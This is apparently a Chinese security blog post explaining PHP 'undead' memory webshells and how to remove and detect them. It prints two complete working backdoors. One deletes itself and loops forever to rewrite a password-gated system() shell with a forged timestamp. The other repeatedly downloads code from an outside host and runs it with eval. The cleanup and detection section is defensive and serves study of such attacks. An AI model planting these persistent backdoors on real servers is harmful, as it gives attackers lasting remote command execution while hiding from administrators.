PHP内存马之不死马

不死马为PHP内存马常见形式,后门运行后删除自身文件,利用死循环驻留在内存里,不断主动外连获取指令并执行,本文记录其样例及查杀思路...

0x00 简介

内存马的本质是通过隐藏自身,避免文件落盘,让后门代码在内存中驻留,并且可以通过特定的方式访问,触发执行。

PHP内存马常见形式为即PHP不死马,脚本运行后删除自身文件,利用死循环驻留在内存里,不断主动外连获取指令并且执行。

0x01 不死马

本地执行恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// ignore_user_abort 函数会设置 PHP 脚本在用户中止连接时是否停止执行。设置为 true 后,用户中止连接不会导致脚本停止执行
ignore_user_abort(true);
// set_time_limit 函数会设置 PHP 脚本的执行时间限制,设置为 0 后可以使脚本无限制地执行下去
set_time_limit(0);
// unlink 函数会删除当前 PHP 脚本文件,以隐藏自身
unlink(__FILE__);
// 后门文件路径
$file = '/var/www/.shell.php';
// 后门代码,当输入的密码与预设的密码进行md5哈希后的结果相同时,会执行 POST 参数 cmd 中的命令
$code = '<?php if(md5($_POST["pass"])=="76a2173be6393254e72ffa4d6df1030a"){@system($_POST[cmd]);}?>';

// 在循环体中会不断地将后门代码写入文件并修改文件的修改时间,并使用 usleep 函数让程序暂停 3000 微秒后继续执行
while (1) {
// 将后门代码写入文件
file_put_contents($file, $code);
// 修改文件的修改时间为2021年1月1日
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
// 暂停 5000 微秒
usleep(3000);
}
?>

限制:会阻塞进程,多数情况会有本地落盘文件,难以烧过实时文件创建动作监控,只是一般删除文件方法无法清除,长久驻留在内存的一种思路

远程加载恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
chmod($_SERVER['SCRIPT_FILENAME'], 0777);
// 删除当前 PHP 脚本文件
unlink($_SERVER['SCRIPT_FILENAME']);
// 设置用户中止连接不会停止脚本执行
ignore_user_abort(true);
// 设置 PHP 脚本的执行时间限制为0,即无限制执行
set_time_limit(0);

// 远程恶意脚本
$remote_file = 'http://phpeval.com/eval.txt';

// 远程加载脚本执行,每5s执行一次
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>

eval.txt

1
file_put_contents('test.txt','webshell test'.time());

0x02 查杀思路

1、条件允许情况下,重启服务。

2、kill掉php服务启动用户下的所有子进程:

1
ps -ef | grep php-fpm | awk '{print $2}' | xargs kill -9

3、使用条件竞争写入同名正常文件取代不死马,usleep需要小于不死马设定时间:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = 'kill backdoor';

while (1){
file_put_contents($file,$code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(1000);
}
?>

检测思路:监控PHP进程命令执行行为,关联分析文件创建、非法外联等行为以识别此类攻击

0xFF Reference